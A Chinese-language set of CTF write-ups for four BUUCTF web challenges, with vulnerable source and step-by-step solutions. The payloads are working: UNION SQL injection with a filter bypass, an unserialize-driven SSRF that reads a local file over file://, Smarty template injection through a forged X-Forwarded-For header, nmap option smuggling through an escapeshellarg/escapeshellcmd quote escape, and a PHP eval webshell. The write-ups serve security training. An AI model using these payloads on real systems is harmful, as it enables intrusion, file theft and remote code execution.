[网鼎杯 2018]Fakebook

解题思路

打开页面就是login和join两个功能,尝试下注入无果,随便注册一个账号,发现blog有格式限制,注册后登陆
发现会有一个the content of his/her blog,这很难让人不去想SSRF,扫一眼目录扫描的结果,发现存在robots.txt和flag.php,这时候会想用伪协议读取文件,但是注册的时候blog存在必须是http开头的格式限制

下载备份文件,审计源码,果然发现对blog的格式限制

<?php
class UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}
}

观察到URL变化为http://e02a355c-ac21-4d44-9d6d-55ba16c49da9.node4.buuoj.cn:81/view.php?no=1,尝试对no进行sql注入,输入0 or 1=1页面正常,而0' or 1=1#页面错误,因此是整数型注入

?no=1 order by 4#
?no=1 order by 5# 报错,字段为4
?no=1 union select 1,2,3,4# 提示no hack,测试被检测的关键字,发现是union select,用/**/代替空格可绕过
?no=1 union/**/select 1,2,3,4#
# database为fakebook
?no=0 union/**/select 1,database(),3,4# 回显位置为2,no=0防止正常输出的数据
# table为users
?no=0 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4#
# no,username,passwd,data
?no=0 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_schema='fakebook' and table_name='users'),3,4#
# age和blog不在数据库字段,因此猜想这俩都在data字段,结合前面的源码,应该是被序列化存储到data字段
?no=0 union/**/select 1,(select data from users),3,4#

发现序列化数据
构造序列化数据:

<?php
class UserInfo
{public $name = "ssrf";public $age = 0;//注入的时候发现路径/var/www/htmlpublic $blog = "file:///var/www/html/flag.php";
}
print(serialize(new UserInfo()));
?>

得到序列化数据:O:8:"UserInfo":3:{s:4:"name";s:4:"ssrf";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最终的payload:
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"ssrf";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在源码iframe中找到flag:

总结

  • SSRF伪协议file读取本地文件
  • curl获取的本地文件在源码中找
  • sql注入为了使union查询的数据显示可搜索不存在的数据

[RoarCTF 2019]Easy Java

解题思路

看到登陆框尝试注入无果,点开help,发现URL为:
http://34aa873e-73df-4ed9-b503-ad60c5efa74d.node4.buuoj.cn:81/Download?filename=help.docx,猜想是任意文件包含漏洞,但是不知道为什么提示java.io.FileNotFoundException:{help.docx},这么一个提示文档总不可能不能直接下载吧?修改GET为POST方式,发现有回显了(我也不知道为什么,我觉得是题目出的时候写错了)。因此尝试用POST方式下载web.xml,路径为/WEB-INF/web.xml,发现Flag根据路径/WEB-INF/classes/com/wm/ctf/FlagController.class下载文件,观察到可疑base64字符串
解码得到flag

总结

  • WEB-INF/web.xml源码泄露
    源码泄露->WEB-INF/web.xml源码泄露

  • 很抽象的修改GET->POST,以后遇到这种下载不了的也尝试一下吧

[BJDCTF2020]The mystery of ip

解题思路

打开页面有两个链接,flag.php和hint.php,打开flag.php

打开hint.php,发现没有直接的提示,f12查看源码,找到了这个注释

联想到刚才flag界面的ip显示,考点应该这里了,而且从提示来看,应该是引导我们往获取ip的方式去想,抓个包找不到和ip相关的,添加一个X-FORWARDED-FOR看看:
有回显很难不想去注入,尝试注入{{system(“ls /”);}}:
cat /flag,得到flag

查看flag.php源码,发现果然是smarty模板注入,而且伪造client-ip、x-forwarded-for都可以

   <?phprequire_once('header.php');require_once('./libs/Smarty.class.php');$smarty = new Smarty();if (!empty($_SERVER['HTTP_CLIENT_IP'])) {$ip=$_SERVER['HTTP_CLIENT_IP'];}elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip=$_SERVER['REMOTE_ADDR'];}//$your_ip = $smarty->display("string:".$ip);

总结

  • 模板注入
  • 伪造ip
    • client-ip
    • x-forwarded-for

[BUUCTF 2018]Online Tool

解题思路

审计源码:

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这题考察的漏洞是 escapeshellarg和escapeshellcmd复用产生的单引号逃逸,简单介绍一下成因,具体可参见这篇博客:BUUCTF-[BUUCTF 2018]Online Tool(单引号逃逸、nmap写文件)

  • escapeshellarg

    • escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() ,执行运算符(反引号)
  • escapeshellcmd
    • escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A\xFF'"仅在不配对的时候被转义。 在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替
<?php
//对于单个单引号,
//escapeshellarg 函数转义后,还会在左右各加一个单引号,
//但 escapeshellcmd 函数是直接加一个转义符
echo escapeshellarg("who'ami")."\n";         //输出'who'\''ami'
echo escapeshellcmd("who'ami")."\n";        //输出who\'ami//对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
echo escapeshellarg("who''ami")."\n";       //输出'who'\'''\''ami'
echo escapeshellcmd("who''ami")."\n";       //输出who''ami
?>

payload为' -iL /flag -oN flag.txt ',处理过程如下:

  1. escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
    ''\'' -iL /flag -oN flag.txt '\'''
  2. 经过escapeshellcmd针对第二步处理之后的参数中的\进行处理转义之后的效果如下所示:
    ''\\'' -iL /flag -oN flag.txt '\\'''
  3. 与前面的命令拼接形成的payload如下所示:
    nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' -iL /flag -oN flag.txt '\\'''
  4. 经过bash执行,最终形成的payload如下所示:
    nmap -T5 -sT -Pn --host-timeout 2 -F \ -iL /flag -oN flag.txt \
    原因如下
    将flag写道文件flag.txt中,且目录也出现了:

    读取文件得到flag
    另一种解法是使用oG参数将一句话木马写入文件:
    ' <?php @eval($_POST["hack"]);?> -oG hack.php '

总结

  • escapeshellarg+escapeshellcmd单引号逃逸
  • Nmap使用方式
    • iL

      • 从inputfilename文件中读取扫描的目标
    • oN
      • 把扫描结果重定向到一个可读的文件logfilename中
    • -oG
      • 可以实现将命令和结果写到文件

BUU Web[33-36]相关推荐

  1. WEB开发36式打狗棒法

    WEB开发36式打狗棒法 引言:三十六路打狗棒法是丐帮开帮祖师爷所创,历来是前任帮主传后任帮主,决不传给第二个人.丐帮第三任帮主的武功尤胜开帮祖师,他在这路棒法中更加入无数奥妙变化.数百年来,丐帮逢到 ...

  2. WEB开发36式打狗棒法,书籍推荐

    引言:三十六路打狗棒法是丐帮开帮祖师爷所创,历来是前任帮主传后任帮主,决不传给第二个人.丐帮第三任帮主的武功尤胜开帮祖师,他在这路棒法中更加入无数奥妙变化.数百年来,丐帮逢到危难关头,帮主亲自出马,往 ...

  3. BUU WEB刷题记录1(持续更新)

    [MRCTF2020]你传你马呢 打开得到一张晦气的图片和文件上传点 尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @e ...

  4. 2018最新(传智播客)黑马WEB前端36期全套

    教程千千万万,坚持寥寥几人. 以前没人教,但肯坚持. 现在有人教,没人坚持. 保存100TB,实际是摆设. 大吉大利,今晚吃鸡? 视频+笔记+案例+素材 适用人群:零基础Web前端开发 建议:w3ws ...

  5. 2018最新传智播客黑马WEB前端36期全套

    教程千千万万,坚持寥寥几人. 以前没人教,但肯坚持. 现在有人教,没人坚持. 保存100TB,实际是摆设. 大吉大利,今晚吃鸡? 视频+笔记+案例+素材 适用人群:零基础Web前端开发 建议:w3ws ...

  6. BUU Web[29-32]

    [GXYCTF2019]BabySQli 解题思路 拿到题发现是个登录框,第一反应是注入密码,用户名随便输入,密码输入万能密码1' or '1'='1,提示wrong user f12查看源码,发现注 ...

  7. 软工视频(33~36)-用户界面设计

    在上篇博客面向对象的时候人机交互的环节简要介绍了一下用户界面设计,这篇博客对其进行专门的介绍. 首先用户界设计的时候须要考虑哪些东西呢,首先,它是为用户服务的的,所以界面要简单易操作,概念提示准确,用 ...

  8. 2018年最新传智播客黑马WEB前端36期全套视频教程

    链接:https://pan.baidu.com/s/1_i-H4KOt1StjeFOVsvn75g 密码:7rkr 备份链接:http://www.hope51.com/thread-73-1-1. ...

  9. BUU Web[21-24]

    [HCTF 2018]admin 解题思路 f12查看网页源码,发现提示,结合题名这题应该是需要用admin身份登陆,发现cookie中有一个session,很容易联想到session伪造 浏览其他页 ...

最新文章

  1. 【OpenCV 4开发详解】分割图像——Mean-Shift分割算法
  2. LoadRunner录制回放常见问题及解决方案
  3. 【MM 模块】 Optimized Purchasing 优化采购 2
  4. Centos kvm虚拟sever
  5. Xshell显示中文乱码问题
  6. windows7 x86_64系统安装xampp后apache无法启动,端口冲突
  7. [LeetCode118]Pascal's Triangle
  8. 洛谷P2770 航空路线问题(费用流)
  9. 理解mini-batch、Momentum、RMSpror、Admin优化算法
  10. springboot模板项目搭建:代码生成器AutoGenerator
  11. 【VOIP】 yate源码编译和部署
  12. phpmyadmin java_phpMyAdmin的配置
  13. matlab读取bin文件
  14. zookeeper Session Expired
  15. C#实战004:Excel操作-读取Excel工作簿
  16. 【入门PCB】立创eda的学习
  17. MATLAB计算二阶系统单位阶跃响应及在for循环中在图像加图例
  18. java主色调_主色调
  19. 图像处理:基于cv2.inpaint()图像修补
  20. 十种能毁掉你一生职场生涯的心态

热门文章

  1. 加强【圣域2】各个技能的打击感-华丽的击飞效果
  2. java实现手机验证码功能
  3. U-Boot参数设置 .
  4. 如何用uni-app做一个领优惠券H5、小程序商城(一)
  5. 视频配音怎么配出好听的声音?试试这三个视频配音方法
  6. python更新excel内容_[原创]使用 Python 读写 Excel 文件(一)更新
  7. 计算机系统结构 之 Amdahl定律
  8. 微信小程序内嵌H5页面实现微信支付
  9. Android设置Button字母大小写
  10. 2018江西省计算机知识竞赛,2018年信息技术知识竞赛题库及答案